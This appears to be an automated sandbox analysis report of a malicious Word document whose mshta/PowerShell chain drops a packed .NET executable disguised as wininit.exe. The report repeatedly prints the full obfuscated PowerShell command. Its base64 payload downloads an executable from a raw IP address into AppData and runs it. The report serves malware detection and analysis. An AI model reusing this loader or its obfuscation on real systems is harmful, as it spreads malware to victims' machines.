Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: samlib.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rasadhlp.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: stthigns.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\stthigns.doc

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: p7C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.pdb source: powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp

Source: ~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

.NET source code contains potential unpacker

Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, KQkH3in3AYxtB1JkcI.cs	.Net Code: gHQexYK344 System.Reflection.Assembly.Load(byte[])
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	.Net Code: gHQexYK344 System.Reflection.Assembly.Load(byte[])

PowerShell case anomaly found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"			Jump to behavior

Yara detected aPLib compressed binary

Source: Yara match	File source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wininit.exe.3a0edc0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wininit.exe.3a28de0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wininit.exe PID: 3932, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_001F21E3 push ebx; iretd	6_2_001F21EA
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 15_2_00402AC0 push eax; ret	15_2_00402AD4
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 15_2_00402AC0 push eax; ret	15_2_00402AFC

Source: caspol[1].exe.6.dr	Static PE information: section name: .text entropy: 7.9227520273220895
Source: wininit.exe.6.dr	Static PE information: section name: .text entropy: 7.9227520273220895

Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, KQkH3in3AYxtB1JkcI.cs	High entropy of concatenated method names: 'gwb8vauN76', 'coJ8KZpJSC', 'fZs8T6XHIb', 'uqG8CFeqcY', 'Xrh8GBbB4F', 'F5A8QvMX8N', 'Mhg8iMMyDK', 'IwJ8nhpBnt', 'ppo8rHM5l3', 'zKB8VcEgFn'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, BDLA7ZzmjyZeMHspbI.cs	High entropy of concatenated method names: 'pYcc3qb4LP', 'iVMcFnRmTf', 'kjSch2OmFh', 'dPKcNtftA0', 'ep5cukejfW', 'DLtcmCOIuX', 'lWKctS9MXy', 'aH8c6uleZm', 'Py5cgNOThj', 'aoVcHMdwZP'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, dhK9KbNqZASI81hGMI.cs	High entropy of concatenated method names: 'sfGQv3qveH', 'Gk1QTJCxla', 'PF0QGPZ0c9', 'ecJQiiiaj1', 'k6KQn6iR71', 'XSqGYjTQNd', 'dr0GDj07xW', 'z70GSox8Zc', 'UUbGWZII6b', 'n2XGkeHKAq'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, eWbKPQURAh7q0dXmWQa.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'g6Ics1b5Q4', 'lHScanO8Hq', 'nGHc7Kj1b4', 'Nkvc4EEFTo', 'W1ncOKfXll', 'RBGc1YrhiV', 'W60cEbFZA3'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, blpmsJDcqDTfApNEE9.cs	High entropy of concatenated method names: 'sXHIWBvUB1', 'gM3IXliyxi', 'LAkjRqtjrT', 'irsjUBXqk4', 'suWIscc6eO', 'adBIa4DbBY', 'bhgI7Ap3yt', 'JJPI44IQ2E', 'x1FIOfmaQo', 'J1LI18bvGD'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, asC2VyhwMrPC2xZIhl.cs	High entropy of concatenated method names: 'ARKCb4vRER', 'PfqC3SbNpI', 'gFNCFAwu0h', 'N7QChL3WU5', 'egwCMgpiYw', 'gXBCZhOmb9', 'HiyCI68I54', 'NnfCj0kphm', 'uQfCdb2Dm9', 'VKQCcjYmRN'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, rXxk4UXv0hG6nJr2r4.cs	High entropy of concatenated method names: 'NY8cCHPCTo', 'v1YcGMuL0j', 'PlDcQ98GnS', 'gHrci7Rn0Y', 'LTtcdZa6tk', 'WgxcnQGGAx', 'Next', 'Next', 'Next', 'NextBytes'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, wtca6eCuhSEXbwj87j.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'NPhBk6IATb', 'NUrBXV5rDr', 'w4vBzP3VTO', 'Fum8R26vkD', 'BSQ8UGxs3m', 'FAr8ByJM0s', 'KyD88tXy3T', 'HwpHMYNZUsK33x2B4cE'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, Y1v65cTfYUkeaqQPAC.cs	High entropy of concatenated method names: 'Dispose', 'xaYUki41xL', 'hXyBuxl6Ko', 'sWJJotluKH', 'NwmUXu8WJh', 'n33Uzq0LEr', 'ProcessDialogKey', 'eg6BR76f1h', 'lmIBU3Lkqh', 'k4kBBdXxk4'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, Urg7ubUUcCev0u1dT4r.cs	High entropy of concatenated method names: 'x1jcXgXCGN', 'fvScz1QqAG', 'XKdfRDMKeD', 'LkffUlITX0', 'gnrfBIBAS5', 'AUdf8iyEhN', 'OqwfeZeTlt', 'XAwfvt7blr', 'PnmfKyehow', 'jKVfTiMyVU'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, e7gKPApuQs0EWyVG9T.cs	High entropy of concatenated method names: 'YtHQ1avdnI', 'sCKQEBr9Vg', 'RWkQYVTVi9', 'ToString', 'plbQDysEAl', 'QkLQSVFMsJ', 'tyg4QgZnFbC608q3Vvw', 'upiOboZCPTUWbVTJlXN', 'Gr55C2Z22jsqV8xooje'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, ywjJDxuXXl5HvcWFju.cs	High entropy of concatenated method names: 'jd1XQnZrwVnLTEDCpNd', 'KywlMNZsQBmADPfNGNl', 'EO5xIiZj2NflMbVFU0Z', 'bmHQjhGy3F', 'nonQdcl1E2', 'QAuQcAH5On', 'J0YoVWZ0gtheKhdG88p', 'Cx56OgZEqBuvdXaLqeJ', 'i4yDHfZGP0q4hERawKj'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	High entropy of concatenated method names: 'QPjT47v345', 'bMaTO5YD1n', 'qL4T1ROcj5', 'B15TEN4D6d', 'noKTY6WZW0', 'KIATDaS7hq', 'wqZTSXrG3c', 'UUKTWm9AvU', 'JPFTkkWlg3', 'zCGTXs1q8C'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, hlfKZ6407CBnHJSie5.cs	High entropy of concatenated method names: 'Q4eMPdDINF', 'dABMaa0v9G', 'm1iM46hmGb', 'F35MOwisjH', 'gV1MuYpY1I', 'NEEM9yiVrf', 'T49MmVVXB8', 'vepMttiwtX', 'mSgMp2U8YB', 'OrnM5Qgsgs'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, mO72Zbe7qFQORHthPZ.cs	High entropy of concatenated method names: 'IGyUiE5k0L', 'H5KUnnoWIB', 'BwMUVrPC2x', 'pIhUqlJdZP', 'PPIUMX2ehK', 'HKbUZqZASI', 'DrLniM6qODKrhYmosh', 'nIUaEjW6YOpveRetEf', 'lhUUUXaivS', 'm33U8VTlfn'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, BwnBSkUenCTHkiiG70o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 't9EwdUeNcg', 'GcswcCxhlR', 'javwf2GxHL', 'M0CwwEMwtd', 'Q2vw2fUeVe', 'b1uwLEqNHF', 'ty2w6esgdc'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, kvk9jqBMEXOK4a7rYr.cs	High entropy of concatenated method names: 'UuhxF135Y', 'XnebOGXXx', 'gxo3kDLoB', 'IZJ0qtrjN', 'ArxhXNkJK', 'HajJcBQ7r', 'n91mUTemEhJ9mZBp51', 'RNVkhEo862ysWOUwJ8', 'K5EjtOTxM', 'YgrcQvyG5'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, iWse1KSS7gaYi41xLP.cs	High entropy of concatenated method names: 'K0RdMuvAqt', 'BmMdIEKRT2', 'RJfddnVaQa', 'fcWdf4WTkd', 'FJpd2JdMAg', 'XKNd6ZbKD7', 'Dispose', 'S0pjKughCJ', 'Jr6jTQ28or', 'sGujCe3UVH'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, eqDwEc5eNbqOMrRccw.cs	High entropy of concatenated method names: 'wsUiKpO8LJ', 'mKeiCuOl5m', 'c76iQWyI7L', 'dG5QXo2Ph5', 's31QzmMPm6', 'tdCiRDR4Xc', 'uVniU0FJwJ', 'vCpiBNnNh2', 'C33i8WyDuh', 'C2FienmEHx'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, lBiWxolWI4mIKrpo6Q.cs	High entropy of concatenated method names: 'c6sigqBTbc', 'bA5iHPDRJZ', 'nVIix7HMEI', 'lu8ibUgJBG', 'xQBiyYxTKA', 'Uu3i30xC8r', 'tkNi0FhmID', 'g94iF3DidF', 'LljihX3H7C', 'EeQiJ9voDB'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, eenOKjUBoGmHCNGsevJ.cs	High entropy of concatenated method names: 'ToString', 'dynfFoMNSH', 'NPbfhRtonL', 'EsyfJMHbTy', 'SVXfNgrEu2', 'gXWfupVDI1', 'SHPf95laLM', 'jw8fm0999e', 'fKvmhvcqCxomhRmxrhd', 'yiGgBXc63lwjv54kfh4'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, urCQEP7xb0Mxs3L7dv.cs	High entropy of concatenated method names: 'RvKAFRNiNm', 'LurAhHQlM9', 'T4WANS9Td2', 'zsCAu6BpFD', 'rgOAmBGW2g', 'rqsAtd3WxD', 'soHA5yy9T5', 'ydbAoD9Y2p', 'hKxAPfH77o', 'nuVAs99LcQ'
Source: 13.2.wininit.exe.3a6cfe0.3.raw.unpack, x76f1hkrmI3Lkqhn4k.cs	High entropy of concatenated method names: 'E0fdNAeGf6', 'b0Idu8bJEp', 'twmd91E48s', 'oKldmWYHus', 'MhbdtHQOm8', 'RPXdp8Pfdb', 'ArPd5HbWfX', 'Uw5doQYgDG', 'QX0dlENjSW', 'cr1dPT1aQr'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	High entropy of concatenated method names: 'gwb8vauN76', 'coJ8KZpJSC', 'fZs8T6XHIb', 'uqG8CFeqcY', 'Xrh8GBbB4F', 'F5A8QvMX8N', 'Mhg8iMMyDK', 'IwJ8nhpBnt', 'ppo8rHM5l3', 'zKB8VcEgFn'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, BDLA7ZzmjyZeMHspbI.cs	High entropy of concatenated method names: 'pYcc3qb4LP', 'iVMcFnRmTf', 'kjSch2OmFh', 'dPKcNtftA0', 'ep5cukejfW', 'DLtcmCOIuX', 'lWKctS9MXy', 'aH8c6uleZm', 'Py5cgNOThj', 'aoVcHMdwZP'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, dhK9KbNqZASI81hGMI.cs	High entropy of concatenated method names: 'sfGQv3qveH', 'Gk1QTJCxla', 'PF0QGPZ0c9', 'ecJQiiiaj1', 'k6KQn6iR71', 'XSqGYjTQNd', 'dr0GDj07xW', 'z70GSox8Zc', 'UUbGWZII6b', 'n2XGkeHKAq'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, eWbKPQURAh7q0dXmWQa.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'g6Ics1b5Q4', 'lHScanO8Hq', 'nGHc7Kj1b4', 'Nkvc4EEFTo', 'W1ncOKfXll', 'RBGc1YrhiV', 'W60cEbFZA3'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, blpmsJDcqDTfApNEE9.cs	High entropy of concatenated method names: 'sXHIWBvUB1', 'gM3IXliyxi', 'LAkjRqtjrT', 'irsjUBXqk4', 'suWIscc6eO', 'adBIa4DbBY', 'bhgI7Ap3yt', 'JJPI44IQ2E', 'x1FIOfmaQo', 'J1LI18bvGD'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, asC2VyhwMrPC2xZIhl.cs	High entropy of concatenated method names: 'ARKCb4vRER', 'PfqC3SbNpI', 'gFNCFAwu0h', 'N7QChL3WU5', 'egwCMgpiYw', 'gXBCZhOmb9', 'HiyCI68I54', 'NnfCj0kphm', 'uQfCdb2Dm9', 'VKQCcjYmRN'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, rXxk4UXv0hG6nJr2r4.cs	High entropy of concatenated method names: 'NY8cCHPCTo', 'v1YcGMuL0j', 'PlDcQ98GnS', 'gHrci7Rn0Y', 'LTtcdZa6tk', 'WgxcnQGGAx', 'Next', 'Next', 'Next', 'NextBytes'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, wtca6eCuhSEXbwj87j.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'NPhBk6IATb', 'NUrBXV5rDr', 'w4vBzP3VTO', 'Fum8R26vkD', 'BSQ8UGxs3m', 'FAr8ByJM0s', 'KyD88tXy3T', 'HwpHMYNZUsK33x2B4cE'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, Y1v65cTfYUkeaqQPAC.cs	High entropy of concatenated method names: 'Dispose', 'xaYUki41xL', 'hXyBuxl6Ko', 'sWJJotluKH', 'NwmUXu8WJh', 'n33Uzq0LEr', 'ProcessDialogKey', 'eg6BR76f1h', 'lmIBU3Lkqh', 'k4kBBdXxk4'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, Urg7ubUUcCev0u1dT4r.cs	High entropy of concatenated method names: 'x1jcXgXCGN', 'fvScz1QqAG', 'XKdfRDMKeD', 'LkffUlITX0', 'gnrfBIBAS5', 'AUdf8iyEhN', 'OqwfeZeTlt', 'XAwfvt7blr', 'PnmfKyehow', 'jKVfTiMyVU'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, e7gKPApuQs0EWyVG9T.cs	High entropy of concatenated method names: 'YtHQ1avdnI', 'sCKQEBr9Vg', 'RWkQYVTVi9', 'ToString', 'plbQDysEAl', 'QkLQSVFMsJ', 'tyg4QgZnFbC608q3Vvw', 'upiOboZCPTUWbVTJlXN', 'Gr55C2Z22jsqV8xooje'
Source: 13.2.wininit.exe.4d00000.5.raw.unpack, ywjJDxuXXl5HvcWFju.cs	High entropy of concatenated method names: 'jd1XQnZrwVnLTEDCpNd', 'KywlMNZsQBmADPfNGNl', 'EO5xIiZj2NflMbVFU0Z', 'bmHQjhGy3F', 'nonQdcl1E2', 'QAuQcAH5On', 'J0YoVWZ0gtheKhdG88p', 'Cx56OgZEqBuvdXaLqeJ', 'i4yDHfZGP0q4hERawKj'
